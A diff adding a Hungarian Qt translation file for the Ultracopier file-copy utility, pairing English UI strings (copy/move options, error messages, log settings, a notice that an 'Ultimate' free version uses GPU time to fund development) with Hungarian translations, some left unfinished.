+ <name>Core</name>
+ <message>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
+ <location filename="../../../Core.cpp" line="209"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
+ <location filename="../../../Core.cpp" line="209"/>
+ <source>Unable to get a copy engine instance</source>
+ <translation>Nem lehetséges másoló motor példány észlelése</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation>Motor állapot lekérése nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation>A mód argumentuma nem érvényes</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation>Szeretnél másolni? Ha nem, akkor átmozgatva lesz.</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <source>Unable to load the interface, copy aborted</source>
+ <translation>Kezelőfelület betöltése nem lehetséges, másolás megszakítva</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="392"/>
+ <source>Unable to load the copy engine, copy aborted</source>
+ <translation>Másoló motor betöltése nem lehetséges, másolás megszakítva</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Transfer mode</source>
+ <translation>Átviteli mód</translation>
+ </message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FacilityEngine</name>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <source>s</source>
+ <translation>mp</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <source>Too big</source>
+ <translation>Túl nagy</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <source>B</source>
+ <translation>B</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <source>KB</source>
+ <translation>KB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <source>MB</source>
+ <translation>MB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <source>GB</source>
+ <translation>GB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <source>TB</source>
+ <translation>TB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <source>PB</source>
+ <translation>PB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <source>EB</source>
+ <translation>EB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <source>ZB</source>
+ <translation>ZB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <source>YB</source>
+ <translation>YB</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <source>Less than %10 seconds</source>
+ <translation>Kevesebb mint %10 másodperc</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
+ <source>About %10 seconds remaining</source>
+ <translation>Körülbelül %10 másodperc van hátra</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <source>About %1 minutes remaining</source>
+ <translation>Körülbelül %1 perc van hátra</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <source>About %1 hours remaining</source>
+ <translation>Körülbelül %1 óra van hátra</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <source>Copy engine</source>
+ <translation>Másoló motor</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
+ <source>Copy</source>
+ <extracomment>a copy</extracomment>
+ <translation>Másolás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation>Átvitel</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <source>Move</source>
+ <extracomment>a move</extracomment>
+ <translation>Mozgatás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation>Indítás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <source>Pause</source>
+ <translation>Szünet</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
+ <source>Resume</source>
+ <translation>Folytatás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <source>Skip</source>
+ <translation>Kihagyás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <source>Unlimited</source>
+ <translation>Korlátlan</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <source>Source</source>
+ <translation>Forrás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <source>Size</source>
+ <translation>Méret</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <source>Quit</source>
+ <translation>Kilépés</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <source>Target</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
+ <source>Time remaining:</source>
+ <translation>Hátralévő idő:</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <source>Listing</source>
+ <translation>Listázás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <source>Copying</source>
+ <translation>Másolás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <source>Listing and copying</source>
+ <translation>Listázás és másolás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <source>Ask</source>
+ <translation>Rákérdez</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <source>Overwrite</source>
+ <translation>Felülírás</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <source>Overwrite if newer</source>
+ <translation>Felülírás, ha újabb</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <source>Overwrite if the last modification dates are different</source>
+ <translation>Felülír, ha az legutóbbi módosítás dátumai különböznek</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <source>Rename</source>
+ <translation>Átnevezés</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
+ <translation>Helyezze a lista végére</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <source>Select source directory</source>
+ <translation>Válassz forrásmappát</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <source>Select destination directory</source>
+ <translation>Válassz célmappát</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
+ <source>Internal error</source>
+ <translation>Belső hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
+ <source>Select one or more files to open</source>
+ <translation>Válassz egy vagy több fájlt megnyitásra</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
+ <source>All files</source>
+ <translation>Minden fájl</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
+ <source>Save transfer list</source>
+ <translation>Átviteli lista mentése</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
+ <source>Open transfer list</source>
+ <translation>Átviteli lista megnyitása</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
+ <source>Transfer list</source>
+ <translation>Átviteli lista</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
+ <source>Not supported on this platform</source>
+ <translation>Ezen a platformon nem támogatott</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation>Befejezve %1 alatt</translation>
+ </message>
+</context>
+<context>
+ <name>HelpDialog</name>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation>Az Ultracopier névjegye</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
+This version is compiled as version: %1.</source>
+ <extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
+ <translation>Qt-n alapul. Fejlett eszöz fájlok másolásához GPL3 licensz alatt.
+Ez a verzió a következő verzióként került lefordításra: %1.</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;További információkért lásd a honlapot &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="85"/>
+ <source>Platform: %1</source>
+ <extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
+ <translation>Platform: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="121"/>
+ <source>About Qt</source>
+ <translation>A Qt névjegye</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="141"/>
+ <source>Do a crash</source>
+ <translation>Összeomlás</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="148"/>
+ <source>Save bug report</source>
+ <translation>Hibajelentés mentése</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="155"/>
+ <source>Close</source>
+ <translation>Bezárás</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation>A Supercopier névjegye</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
+ <source>For http://portableapps.com/</source>
+ <translation>http://portableapps.com/</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation>Hordozható és teljes verzió</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
+ <source>Portable version</source>
+ <translation>Hordozható verzió</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation>Teljes verzió</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
+ <source>Normal version</source>
+ <translation>Normál verzió</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
+ <source>http://ultracopier.first-world.info/</source>
+ <translation>http://ultracopier.first-world.info/</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>LocalListener</name>
+ <message>
+ <location filename="../../../LocalListener.cpp" line="146"/>
+ <source>Warning</source>
+ <translation>Figyelmeztetés</translation>
+ </message>
+ <message>
+ <location filename="../../../LocalListener.cpp" line="146"/>
+ <source>Timeout while recomposing data from connected clients</source>
+ <translation>Időtúllépés történt az adatok összeilesztése közben a kapcsolódott kliensektől</translation>
+ </message>
+</context>
+<context>
+ <name>LogThread</name>
+ <message>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <source>Log file already open, error: %1</source>
+ <translation>Naplófájl már meg van nyitva, hiba: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation>Naplófájl megnyitása nem lehetséges, hiba: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation>Figyelmeztetés</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation>Ne mutassa újra</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation>Rendben</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translatorcomment>Az alapértelmezett másolás/mozgatás rendszer lecserélését nem támogatja a fájlkezelő (Dolphin, Nautilus, ...).&lt;br /&gt;Kérd meg a fejlesztőt, hogy támogassa.&lt;br /&gt;A másolás/mozgatást manuálisan kell elvégezned.</translatorcomment>
+ <translation></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation>Indítsd újra a gépet, ha korábban már volt hasonló alkalmazás telepítve (például Teracopy, Supercopier vagy az Ultracopier korábbi verziója).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation>Az alapértelmezett másoló/mozgató rendszer lecserélését nem támogatott és blokkolja a Mac OS X fejlesztője.&lt;br /&gt;A másolást/mozgatást manuálisan kell elvégezned a tálcaikonra kattintva jobb egérgombbal, az óra mellett.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Az alapértelmezett másoló/mozgató rendszer lecserélését nem szabad támogatnia a fájlkezelőnek.&lt;br /&gt;Kérd meg a fejlesztőt, hogy támogassa.&lt;br /&gt;A másolás/mozgatást manuálisan kell elvégezned.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OptionDialog</name>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="14"/>
+ <location filename="../../../OptionDialog.ui" line="51"/>
+ <source>Options</source>
+ <translation>Beállítások</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="56"/>
+ <source>General</source>
+ <translation>Általános</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="61"/>
+ <source>Plugins</source>
+ <translation>Beépülők</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="66"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
+ <source>Copy engine</source>
+ <translation>Másoló motor</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation>Figyelő</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation>Beépüő betöltő</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation>Folyamat betöltő</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
+ <source>Themes</source>
+ <translation>Témák</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="97"/>
+ <source>Log</source>
+ <translation>Napló</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation>Ablakok csoportosításának megerősítése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation>Frissítések keresése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation>GPU idő kiosztása a fejlesztés támogatásához</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation>Írás közvetlenül a fájlba, ha új bejegyzést kap (akár 50%-kos teljesítménycsökkenést is okozhat)</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation>Név</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation>Nyelv kényszerítése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation>Alapértelmezett másolás és mozgatás lecserélése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation>Betöltés a Windows bejelentkezésekor</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation>Kézi megnyitás esetén</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation>Ablakok csoportosítása, ha</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation>Rendszer figyelmeztetés megjelenítése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation>Verzió</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation>Nyelv</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
+ <source>Plugin</source>
+ <translation>Beépülő</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="377"/>
+ <source>Add</source>
+ <translation>Hozzáadás</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="390"/>
+ <source>Remove</source>
+ <translation>Eltávolítás</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="400"/>
+ <source>Information</source>
+ <translation>Információ</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="427"/>
+ <source>Copy engine by order of preference:</source>
+ <translation>Másoló motor tulajdonság szerint:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation>Kliens kapcsolódva</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
+ <source>Themes:</source>
+ <translation>Témák:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="616"/>
+ <source>Unable to load the themes plugin</source>
+ <translation>A témák beépülő betöltése nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="666"/>
+ <source>No option for this plugin</source>
+ <translation>Nincs beállítás ehhez a beépülőhöz</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="697"/>
+ <source>Write the log file into:</source>
+ <translation>Napló írása ide:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="716"/>
+ <source>Browse</source>
+ <translation>Tallózás</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
+ <translation>Szinkronizált napló</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation>Átvitelek írása</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation>Hibák írása</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation>Mappa műveletek írása</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
+ <source>The variables are %time%, %source%, %size%, %destination%</source>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <translation>A változók: %time%, %source%, %size%, %destination%</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
+ <source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <translation>A változók: %time%, %path%, %size%, %mtime%, %error%</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
+ <source>The variables are %path%, %operation%</source>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
+ <translation>A változók: %path%, %operation%</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation>Alkalmazás engedélyezése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation>Ez az Ultimate ingyenes verzió csak akkor működik, ha a(z) %1-t engedélyezted a vírusirtódban. Egyéb esetben használd a normál ingyenes verziót</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation>OpenCL engedélyezése</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation>Ez az Ultimate ingyenes verzió csak akkor működik, ha az OpenCL telepítve van a videókártya driverrel. Egyéb esetben használd a normál ingyenes verziót</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation>Betöltés</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation>Téma betöltése?</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation>Nyelv betöltése?</translation>
+ </message>
+ <message>
+ <source>Disabled because you do not have any SessionLoader plugin</source>
+ <translation type="obsolete">Letiltva, mert nem rendelkezel SessionLoader beépülővel</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
+ <source>Do nothing</source>
+ <translation>Ne tegyen semmit</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
+ <source>Ask source as folder</source>
+ <translation>Rákérdezés a forrás mint mappa</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
+ <source>Ask sources as files</source>
+ <translation>Rákérdezés a forrásokra mint fájlok</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
+ <source>Never</source>
+ <translation>Soha</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
+ <source>When source is same</source>
+ <translation>Amikor a forrás ugyanaz</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
+ <source>When destination is same</source>
+ <translation>Amikor a cél ugyanaz</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
+ <source>When source and destination are same</source>
+ <translation>Amikor a forrás és a cél ugyanaz</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
+ <source>When source or destination are same</source>
+ <translation>Amikor a forrás vagy cél ugyanaz</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
+ <source>Always</source>
+ <translation>Mindig</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation>A változók: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>Napló mentése mint:</translation>
+ </message>
+</context>
+<context>
+ <name>OptionEngine</name>
+ <message>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation>A változó nem található: %1 %2</translation>
+ </message>
+</context>
+<context>
+ <name>PluginInformation</name>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="14"/>
+ <source>About this plugin</source>
+ <translation>A beépülő névjegye</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="23"/>
+ <source>Name:</source>
+ <translation>Név:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="37"/>
+ <source>Category:</source>
